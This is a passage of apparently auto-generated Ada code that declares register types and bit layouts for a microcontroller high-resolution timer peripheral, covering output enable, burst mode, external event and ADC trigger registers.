-- Write-only. Timer A Output 2 Enable
TA2OEN : Boolean := False;
-- Write-only. Timer B Output 1 Enable
TB1OEN : Boolean := False;
-- Write-only. Timer B Output 2 Enable
TB2OEN : Boolean := False;
-- Write-only. Timer C Output 1 Enable
TC1OEN : Boolean := False;
-- Write-only. Timer C Output 2 Enable
TC2OEN : Boolean := False;
-- Write-only. Timer D Output 1 Enable
TD1OEN : Boolean := False;
-- Write-only. Timer D Output 2 Enable
TD2OEN : Boolean := False;
-- Write-only. Timer E Output 1 Enable
TE1OEN : Boolean := False;
-- Write-only. Timer E Output 2 Enable
TE2OEN : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for OENR_Register use record
TA1OEN at 0 range 0 .. 0;
TA2OEN at 0 range 1 .. 1;
TB1OEN at 0 range 2 .. 2;
TB2OEN at 0 range 3 .. 3;
TC1OEN at 0 range 4 .. 4;
TC2OEN at 0 range 5 .. 5;
TD1OEN at 0 range 6 .. 6;
TD2OEN at 0 range 7 .. 7;
TE1OEN at 0 range 8 .. 8;
TE2OEN at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- ODISR
type ODISR_Register is record
-- TA1ODIS
TA1ODIS : Boolean := False;
-- TA2ODIS
TA2ODIS : Boolean := False;
-- TB1ODIS
TB1ODIS : Boolean := False;
-- TB2ODIS
TB2ODIS : Boolean := False;
-- TC1ODIS
TC1ODIS : Boolean := False;
-- TC2ODIS
TC2ODIS : Boolean := False;
-- TD1ODIS
TD1ODIS : Boolean := False;
-- TD2ODIS
TD2ODIS : Boolean := False;
-- TE1ODIS
TE1ODIS : Boolean := False;
-- TE2ODIS
TE2ODIS : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ODISR_Register use record
TA1ODIS at 0 range 0 .. 0;
TA2ODIS at 0 range 1 .. 1;
TB1ODIS at 0 range 2 .. 2;
TB2ODIS at 0 range 3 .. 3;
TC1ODIS at 0 range 4 .. 4;
TC2ODIS at 0 range 5 .. 5;
TD1ODIS at 0 range 6 .. 6;
TD2ODIS at 0 range 7 .. 7;
TE1ODIS at 0 range 8 .. 8;
TE2ODIS at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- Output Disable Status Register
type ODSR_Register is record
-- Read-only. Timer A Output 1 disable status
TA1ODS : Boolean;
-- Read-only. Timer A Output 2 disable status
TA2ODS : Boolean;
-- Read-only. Timer B Output 1 disable status
TB1ODS : Boolean;
-- Read-only. Timer B Output 2 disable status
TB2ODS : Boolean;
-- Read-only. Timer C Output 1 disable status
TC1ODS : Boolean;
-- Read-only. Timer C Output 2 disable status
TC2ODS : Boolean;
-- Read-only. Timer D Output 1 disable status
TD1ODS : Boolean;
-- Read-only. Timer D Output 2 disable status
TD2ODS : Boolean;
-- Read-only. Timer E Output 1 disable status
TE1ODS : Boolean;
-- Read-only. Timer E Output 2 disable status
TE2ODS : Boolean;
-- unspecified
Reserved_10_31 : HAL.UInt22;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ODSR_Register use record
TA1ODS at 0 range 0 .. 0;
TA2ODS at 0 range 1 .. 1;
TB1ODS at 0 range 2 .. 2;
TB2ODS at 0 range 3 .. 3;
TC1ODS at 0 range 4 .. 4;
TC2ODS at 0 range 5 .. 5;
TD1ODS at 0 range 6 .. 6;
TD2ODS at 0 range 7 .. 7;
TE1ODS at 0 range 8 .. 8;
TE2ODS at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
subtype BMCR_BMCLK_Field is HAL.UInt4;
subtype BMCR_BMPRSC_Field is HAL.UInt4;
-- Burst Mode Control Register
type BMCR_Register is record
-- Burst Mode enable
BME : Boolean := False;
-- Burst Mode operating mode
BMOM : Boolean := False;
-- Burst Mode Clock source
BMCLK : BMCR_BMCLK_Field := 16#0#;
-- Burst Mode Prescaler
BMPRSC : BMCR_BMPRSC_Field := 16#0#;
-- Burst Mode Preload Enable
BMPREN : Boolean := False;
-- unspecified
Reserved_11_15 : HAL.UInt5 := 16#0#;
-- Master Timer Burst Mode
MTBM : Boolean := False;
-- Timer A Burst Mode
TABM : Boolean := False;
-- Timer B Burst Mode
TBBM : Boolean := False;
-- Timer C Burst Mode
TCBM : Boolean := False;
-- Timer D Burst Mode
TDBM : Boolean := False;
-- Timer E Burst Mode
TEBM : Boolean := False;
-- unspecified
Reserved_22_30 : HAL.UInt9 := 16#0#;
-- Burst Mode Status
BMSTAT : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BMCR_Register use record
BME at 0 range 0 .. 0;
BMOM at 0 range 1 .. 1;
BMCLK at 0 range 2 .. 5;
BMPRSC at 0 range 6 .. 9;
BMPREN at 0 range 10 .. 10;
Reserved_11_15 at 0 range 11 .. 15;
MTBM at 0 range 16 .. 16;
TABM at 0 range 17 .. 17;
TBBM at 0 range 18 .. 18;
TCBM at 0 range 19 .. 19;
TDBM at 0 range 20 .. 20;
TEBM at 0 range 21 .. 21;
Reserved_22_30 at 0 range 22 .. 30;
BMSTAT at 0 range 31 .. 31;
end record;
-- BMTRG_MSTCMP array
type BMTRG_MSTCMP_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for BMTRG_MSTCMP
type BMTRG_MSTCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- MSTCMP as a value
Val : HAL.UInt4;
when True =>
-- MSTCMP as an array
Arr : BMTRG_MSTCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for BMTRG_MSTCMP_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- BMTRG_TACMP array
type BMTRG_TACMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BMTRG_TACMP
type BMTRG_TACMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TACMP as a value
Val : HAL.UInt2;
when True =>
-- TACMP as an array
Arr : BMTRG_TACMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BMTRG_TACMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- BMTRG_TBCMP array
type BMTRG_TBCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BMTRG_TBCMP
type BMTRG_TBCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TBCMP as a value
Val : HAL.UInt2;
when True =>
-- TBCMP as an array
Arr : BMTRG_TBCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BMTRG_TBCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- BMTRG_TCCMP array
type BMTRG_TCCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BMTRG_TCCMP
type BMTRG_TCCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TCCMP as a value
Val : HAL.UInt2;
when True =>
-- TCCMP as an array
Arr : BMTRG_TCCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BMTRG_TCCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- BMTRG_TDCMP array
type BMTRG_TDCMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BMTRG_TDCMP
type BMTRG_TDCMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TDCMP as a value
Val : HAL.UInt2;
when True =>
-- TDCMP as an array
Arr : BMTRG_TDCMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BMTRG_TDCMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- BMTRG_TECMP array
type BMTRG_TECMP_Field_Array is array (1 .. 2) of Boolean
with Component_Size => 1, Size => 2;
-- Type definition for BMTRG_TECMP
type BMTRG_TECMP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- TECMP as a value
Val : HAL.UInt2;
when True =>
-- TECMP as an array
Arr : BMTRG_TECMP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 2;
for BMTRG_TECMP_Field use record
Val at 0 range 0 .. 1;
Arr at 0 range 0 .. 1;
end record;
-- BMTRG
type BMTRG_Register is record
-- SW
SW : Boolean := False;
-- MSTRST
MSTRST : Boolean := False;
-- MSTREP
MSTREP : Boolean := False;
-- MSTCMP1
MSTCMP : BMTRG_MSTCMP_Field :=
(As_Array => False, Val => 16#0#);
-- TARST
TARST : Boolean := False;
-- TAREP
TAREP : Boolean := False;
-- TACMP1
TACMP : BMTRG_TACMP_Field := (As_Array => False, Val => 16#0#);
-- TBRST
TBRST : Boolean := False;
-- TBREP
TBREP : Boolean := False;
-- TBCMP1
TBCMP : BMTRG_TBCMP_Field := (As_Array => False, Val => 16#0#);
-- TCRST
TCRST : Boolean := False;
-- TCREP
TCREP : Boolean := False;
-- TCCMP1
TCCMP : BMTRG_TCCMP_Field := (As_Array => False, Val => 16#0#);
-- TDRST
TDRST : Boolean := False;
-- TDREP
TDREP : Boolean := False;
-- TDCMP1
TDCMP : BMTRG_TDCMP_Field := (As_Array => False, Val => 16#0#);
-- TERST
TERST : Boolean := False;
-- TEREP
TEREP : Boolean := False;
-- TECMP1
TECMP : BMTRG_TECMP_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_27_30 : HAL.UInt4 := 16#0#;
-- OCHPEV
OCHPEV : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BMTRG_Register use record
SW at 0 range 0 .. 0;
MSTRST at 0 range 1 .. 1;
MSTREP at 0 range 2 .. 2;
MSTCMP at 0 range 3 .. 6;
TARST at 0 range 7 .. 7;
TAREP at 0 range 8 .. 8;
TACMP at 0 range 9 .. 10;
TBRST at 0 range 11 .. 11;
TBREP at 0 range 12 .. 12;
TBCMP at 0 range 13 .. 14;
TCRST at 0 range 15 .. 15;
TCREP at 0 range 16 .. 16;
TCCMP at 0 range 17 .. 18;
TDRST at 0 range 19 .. 19;
TDREP at 0 range 20 .. 20;
TDCMP at 0 range 21 .. 22;
TERST at 0 range 23 .. 23;
TEREP at 0 range 24 .. 24;
TECMP at 0 range 25 .. 26;
Reserved_27_30 at 0 range 27 .. 30;
OCHPEV at 0 range 31 .. 31;
end record;
subtype BMCMPR_BMCMP_Field is HAL.UInt16;
-- BMCMPR
type BMCMPR_Register is record
-- BMCMP
BMCMP : BMCMPR_BMCMP_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BMCMPR_Register use record
BMCMP at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype BMPER_BMPER_Field is HAL.UInt16;
-- Burst Mode Period Register
type BMPER_Register is record
-- Burst mode Period
BMPER : BMPER_BMPER_Field := 16#0#;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BMPER_Register use record
BMPER at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype EECR1_EE1SRC_Field is HAL.UInt2;
subtype EECR1_EE1SNS_Field is HAL.UInt2;
subtype EECR1_EE2SRC_Field is HAL.UInt2;
subtype EECR1_EE2SNS_Field is HAL.UInt2;
subtype EECR1_EE3SRC_Field is HAL.UInt2;
subtype EECR1_EE3SNS_Field is HAL.UInt2;
subtype EECR1_EE4SRC_Field is HAL.UInt2;
subtype EECR1_EE4SNS_Field is HAL.UInt2;
subtype EECR1_EE5SRC_Field is HAL.UInt2;
subtype EECR1_EE5SNS_Field is HAL.UInt2;
-- Timer External Event Control Register 1
type EECR1_Register is record
-- External Event 1 Source
EE1SRC : EECR1_EE1SRC_Field := 16#0#;
-- External Event 1 Polarity
EE1POL : Boolean := False;
-- External Event 1 Sensitivity
EE1SNS : EECR1_EE1SNS_Field := 16#0#;
-- External Event 1 Fast mode
EE1FAST : Boolean := False;
-- External Event 2 Source
EE2SRC : EECR1_EE2SRC_Field := 16#0#;
-- External Event 2 Polarity
EE2POL : Boolean := False;
-- External Event 2 Sensitivity
EE2SNS : EECR1_EE2SNS_Field := 16#0#;
-- External Event 2 Fast mode
EE2FAST : Boolean := False;
-- External Event 3 Source
EE3SRC : EECR1_EE3SRC_Field := 16#0#;
-- External Event 3 Polarity
EE3POL : Boolean := False;
-- External Event 3 Sensitivity
EE3SNS : EECR1_EE3SNS_Field := 16#0#;
-- External Event 3 Fast mode
EE3FAST : Boolean := False;
-- External Event 4 Source
EE4SRC : EECR1_EE4SRC_Field := 16#0#;
-- External Event 4 Polarity
EE4POL : Boolean := False;
-- External Event 4 Sensitivity
EE4SNS : EECR1_EE4SNS_Field := 16#0#;
-- External Event 4 Fast mode
EE4FAST : Boolean := False;
-- External Event 5 Source
EE5SRC : EECR1_EE5SRC_Field := 16#0#;
-- External Event 5 Polarity
EE5POL : Boolean := False;
-- External Event 5 Sensitivity
EE5SNS : EECR1_EE5SNS_Field := 16#0#;
-- External Event 5 Fast mode
EE5FAST : Boolean := False;
-- unspecified
Reserved_30_31 : HAL.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EECR1_Register use record
EE1SRC at 0 range 0 .. 1;
EE1POL at 0 range 2 .. 2;
EE1SNS at 0 range 3 .. 4;
EE1FAST at 0 range 5 .. 5;
EE2SRC at 0 range 6 .. 7;
EE2POL at 0 range 8 .. 8;
EE2SNS at 0 range 9 .. 10;
EE2FAST at 0 range 11 .. 11;
EE3SRC at 0 range 12 .. 13;
EE3POL at 0 range 14 .. 14;
EE3SNS at 0 range 15 .. 16;
EE3FAST at 0 range 17 .. 17;
EE4SRC at 0 range 18 .. 19;
EE4POL at 0 range 20 .. 20;
EE4SNS at 0 range 21 .. 22;
EE4FAST at 0 range 23 .. 23;
EE5SRC at 0 range 24 .. 25;
EE5POL at 0 range 26 .. 26;
EE5SNS at 0 range 27 .. 28;
EE5FAST at 0 range 29 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
subtype EECR2_EE6SRC_Field is HAL.UInt2;
subtype EECR2_EE6SNS_Field is HAL.UInt2;
subtype EECR2_EE7SRC_Field is HAL.UInt2;
subtype EECR2_EE7SNS_Field is HAL.UInt2;
subtype EECR2_EE8SRC_Field is HAL.UInt2;
subtype EECR2_EE8SNS_Field is HAL.UInt2;
subtype EECR2_EE9SRC_Field is HAL.UInt2;
subtype EECR2_EE9SNS_Field is HAL.UInt2;
subtype EECR2_EE10SRC_Field is HAL.UInt2;
subtype EECR2_EE10SNS_Field is HAL.UInt2;
-- Timer External Event Control Register 2
type EECR2_Register is record
-- External Event 6 Source
EE6SRC : EECR2_EE6SRC_Field := 16#0#;
-- External Event 6 Polarity
EE6POL : Boolean := False;
-- External Event 6 Sensitivity
EE6SNS : EECR2_EE6SNS_Field := 16#0#;
-- unspecified
Reserved_5_5 : HAL.Bit := 16#0#;
-- External Event 7 Source
EE7SRC : EECR2_EE7SRC_Field := 16#0#;
-- External Event 7 Polarity
EE7POL : Boolean := False;
-- External Event 7 Sensitivity
EE7SNS : EECR2_EE7SNS_Field := 16#0#;
-- unspecified
Reserved_11_11 : HAL.Bit := 16#0#;
-- External Event 8 Source
EE8SRC : EECR2_EE8SRC_Field := 16#0#;
-- External Event 8 Polarity
EE8POL : Boolean := False;
-- External Event 8 Sensitivity
EE8SNS : EECR2_EE8SNS_Field := 16#0#;
-- unspecified
Reserved_17_17 : HAL.Bit := 16#0#;
-- External Event 9 Source
EE9SRC : EECR2_EE9SRC_Field := 16#0#;
-- External Event 9 Polarity
EE9POL : Boolean := False;
-- External Event 9 Sensitivity
EE9SNS : EECR2_EE9SNS_Field := 16#0#;
-- unspecified
Reserved_23_23 : HAL.Bit := 16#0#;
-- External Event 10 Source
EE10SRC : EECR2_EE10SRC_Field := 16#0#;
-- External Event 10 Polarity
EE10POL : Boolean := False;
-- External Event 10 Sensitivity
EE10SNS : EECR2_EE10SNS_Field := 16#0#;
-- unspecified
Reserved_29_31 : HAL.UInt3 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EECR2_Register use record
EE6SRC at 0 range 0 .. 1;
EE6POL at 0 range 2 .. 2;
EE6SNS at 0 range 3 .. 4;
Reserved_5_5 at 0 range 5 .. 5;
EE7SRC at 0 range 6 .. 7;
EE7POL at 0 range 8 .. 8;
EE7SNS at 0 range 9 .. 10;
Reserved_11_11 at 0 range 11 .. 11;
EE8SRC at 0 range 12 .. 13;
EE8POL at 0 range 14 .. 14;
EE8SNS at 0 range 15 .. 16;
Reserved_17_17 at 0 range 17 .. 17;
EE9SRC at 0 range 18 .. 19;
EE9POL at 0 range 20 .. 20;
EE9SNS at 0 range 21 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EE10SRC at 0 range 24 .. 25;
EE10POL at 0 range 26 .. 26;
EE10SNS at 0 range 27 .. 28;
Reserved_29_31 at 0 range 29 .. 31;
end record;
subtype EECR3_EE6F_Field is HAL.UInt4;
subtype EECR3_EE7F_Field is HAL.UInt4;
subtype EECR3_EE8F_Field is HAL.UInt4;
subtype EECR3_EE9F_Field is HAL.UInt4;
subtype EECR3_EE10F_Field is HAL.UInt4;
subtype EECR3_EEVSD_Field is HAL.UInt2;
-- Timer External Event Control Register 3
type EECR3_Register is record
-- EE6F
EE6F : EECR3_EE6F_Field := 16#0#;
-- unspecified
Reserved_4_5 : HAL.UInt2 := 16#0#;
-- EE7F
EE7F : EECR3_EE7F_Field := 16#0#;
-- unspecified
Reserved_10_11 : HAL.UInt2 := 16#0#;
-- EE8F
EE8F : EECR3_EE8F_Field := 16#0#;
-- unspecified
Reserved_16_17 : HAL.UInt2 := 16#0#;
-- EE9F
EE9F : EECR3_EE9F_Field := 16#0#;
-- unspecified
Reserved_22_23 : HAL.UInt2 := 16#0#;
-- EE10F
EE10F : EECR3_EE10F_Field := 16#0#;
-- unspecified
Reserved_28_29 : HAL.UInt2 := 16#0#;
-- EEVSD
EEVSD : EECR3_EEVSD_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EECR3_Register use record
EE6F at 0 range 0 .. 3;
Reserved_4_5 at 0 range 4 .. 5;
EE7F at 0 range 6 .. 9;
Reserved_10_11 at 0 range 10 .. 11;
EE8F at 0 range 12 .. 15;
Reserved_16_17 at 0 range 16 .. 17;
EE9F at 0 range 18 .. 21;
Reserved_22_23 at 0 range 22 .. 23;
EE10F at 0 range 24 .. 27;
Reserved_28_29 at 0 range 28 .. 29;
EEVSD at 0 range 30 .. 31;
end record;
-- ADC1R_AD1MC array
type ADC1R_AD1MC_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for ADC1R_AD1MC
type ADC1R_AD1MC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1MC as a value
Val : HAL.UInt4;
when True =>
-- AD1MC as an array
Arr : ADC1R_AD1MC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for ADC1R_AD1MC_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- ADC1R_AD1EEV array
type ADC1R_AD1EEV_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for ADC1R_AD1EEV
type ADC1R_AD1EEV_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1EEV as a value
Val : HAL.UInt5;
when True =>
-- AD1EEV as an array
Arr : ADC1R_AD1EEV_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for ADC1R_AD1EEV_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- ADC1R_AD1TAC array
type ADC1R_AD1TAC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC1R_AD1TAC
type ADC1R_AD1TAC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TAC as a value
Val : HAL.UInt3;
when True =>
-- AD1TAC as an array
Arr : ADC1R_AD1TAC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC1R_AD1TAC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC1R_AD1TBC array
type ADC1R_AD1TBC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC1R_AD1TBC
type ADC1R_AD1TBC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TBC as a value
Val : HAL.UInt3;
when True =>
-- AD1TBC as an array
Arr : ADC1R_AD1TBC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC1R_AD1TBC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC1R_AD1TCC array
type ADC1R_AD1TCC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC1R_AD1TCC
type ADC1R_AD1TCC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TCC as a value
Val : HAL.UInt3;
when True =>
-- AD1TCC as an array
Arr : ADC1R_AD1TCC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC1R_AD1TCC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC1R_AD1TDC array
type ADC1R_AD1TDC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC1R_AD1TDC
type ADC1R_AD1TDC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TDC as a value
Val : HAL.UInt3;
when True =>
-- AD1TDC as an array
Arr : ADC1R_AD1TDC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC1R_AD1TDC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC1R_AD1TEC array
type ADC1R_AD1TEC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC1R_AD1TEC
type ADC1R_AD1TEC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD1TEC as a value
Val : HAL.UInt3;
when True =>
-- AD1TEC as an array
Arr : ADC1R_AD1TEC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC1R_AD1TEC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC Trigger 1 Register
type ADC1R_Register is record
-- ADC trigger 1 on Master Compare 1
AD1MC : ADC1R_AD1MC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Master Period
AD1MPER : Boolean := False;
-- ADC trigger 1 on External Event 1
AD1EEV : ADC1R_AD1EEV_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer A compare 2
AD1TAC : ADC1R_AD1TAC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer A Period
AD1TAPER : Boolean := False;
-- ADC trigger 1 on Timer A Reset
AD1TARST : Boolean := False;
-- ADC trigger 1 on Timer B compare 2
AD1TBC : ADC1R_AD1TBC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer B Period
AD1TBPER : Boolean := False;
-- ADC trigger 1 on Timer B Reset
AD1TBRST : Boolean := False;
-- ADC trigger 1 on Timer C compare 2
AD1TCC : ADC1R_AD1TCC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer C Period
AD1TCPER : Boolean := False;
-- ADC trigger 1 on Timer D compare 2
AD1TDC : ADC1R_AD1TDC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer D Period
AD1TDPER : Boolean := False;
-- ADC trigger 1 on Timer E compare 2
AD1TEC : ADC1R_AD1TEC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 1 on Timer E Period
AD1TEPER : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for ADC1R_Register use record
AD1MC at 0 range 0 .. 3;
AD1MPER at 0 range 4 .. 4;
AD1EEV at 0 range 5 .. 9;
AD1TAC at 0 range 10 .. 12;
AD1TAPER at 0 range 13 .. 13;
AD1TARST at 0 range 14 .. 14;
AD1TBC at 0 range 15 .. 17;
AD1TBPER at 0 range 18 .. 18;
AD1TBRST at 0 range 19 .. 19;
AD1TCC at 0 range 20 .. 22;
AD1TCPER at 0 range 23 .. 23;
AD1TDC at 0 range 24 .. 26;
AD1TDPER at 0 range 27 .. 27;
AD1TEC at 0 range 28 .. 30;
AD1TEPER at 0 range 31 .. 31;
end record;
-- ADC2R_AD2MC array
type ADC2R_AD2MC_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for ADC2R_AD2MC
type ADC2R_AD2MC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2MC as a value
Val : HAL.UInt4;
when True =>
-- AD2MC as an array
Arr : ADC2R_AD2MC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for ADC2R_AD2MC_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- ADC2R_AD2EEV array
type ADC2R_AD2EEV_Field_Array is array (6 .. 10) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for ADC2R_AD2EEV
type ADC2R_AD2EEV_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2EEV as a value
Val : HAL.UInt5;
when True =>
-- AD2EEV as an array
Arr : ADC2R_AD2EEV_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for ADC2R_AD2EEV_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- ADC2R_AD2TAC array
type ADC2R_AD2TAC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC2R_AD2TAC
type ADC2R_AD2TAC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TAC as a value
Val : HAL.UInt3;
when True =>
-- AD2TAC as an array
Arr : ADC2R_AD2TAC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC2R_AD2TAC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC2R_AD2TBC array
type ADC2R_AD2TBC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC2R_AD2TBC
type ADC2R_AD2TBC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TBC as a value
Val : HAL.UInt3;
when True =>
-- AD2TBC as an array
Arr : ADC2R_AD2TBC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC2R_AD2TBC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC2R_AD2TCC array
type ADC2R_AD2TCC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC2R_AD2TCC
type ADC2R_AD2TCC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TCC as a value
Val : HAL.UInt3;
when True =>
-- AD2TCC as an array
Arr : ADC2R_AD2TCC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC2R_AD2TCC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC2R_AD2TDC array
type ADC2R_AD2TDC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC2R_AD2TDC
type ADC2R_AD2TDC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TDC as a value
Val : HAL.UInt3;
when True =>
-- AD2TDC as an array
Arr : ADC2R_AD2TDC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC2R_AD2TDC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC2R_AD2TEC array
type ADC2R_AD2TEC_Field_Array is array (2 .. 4) of Boolean
with Component_Size => 1, Size => 3;
-- Type definition for ADC2R_AD2TEC
type ADC2R_AD2TEC_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- AD2TEC as a value
Val : HAL.UInt3;
when True =>
-- AD2TEC as an array
Arr : ADC2R_AD2TEC_Field_Array;
end case;
end record
with Unchecked_Union, Size => 3;
for ADC2R_AD2TEC_Field use record
Val at 0 range 0 .. 2;
Arr at 0 range 0 .. 2;
end record;
-- ADC Trigger 2 Register
type ADC2R_Register is record
-- ADC trigger 2 on Master Compare 1
AD2MC : ADC2R_AD2MC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Master Period
AD2MPER : Boolean := False;
-- ADC trigger 2 on External Event 6
AD2EEV : ADC2R_AD2EEV_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer A compare 2
AD2TAC : ADC2R_AD2TAC_Field := (As_Array => False, Val => 16#0#);
-- ADC trigger 2 on Timer A Period
AD2TAPER : Boolean := False;
-- ADC trigger 2 on Timer B compare 2
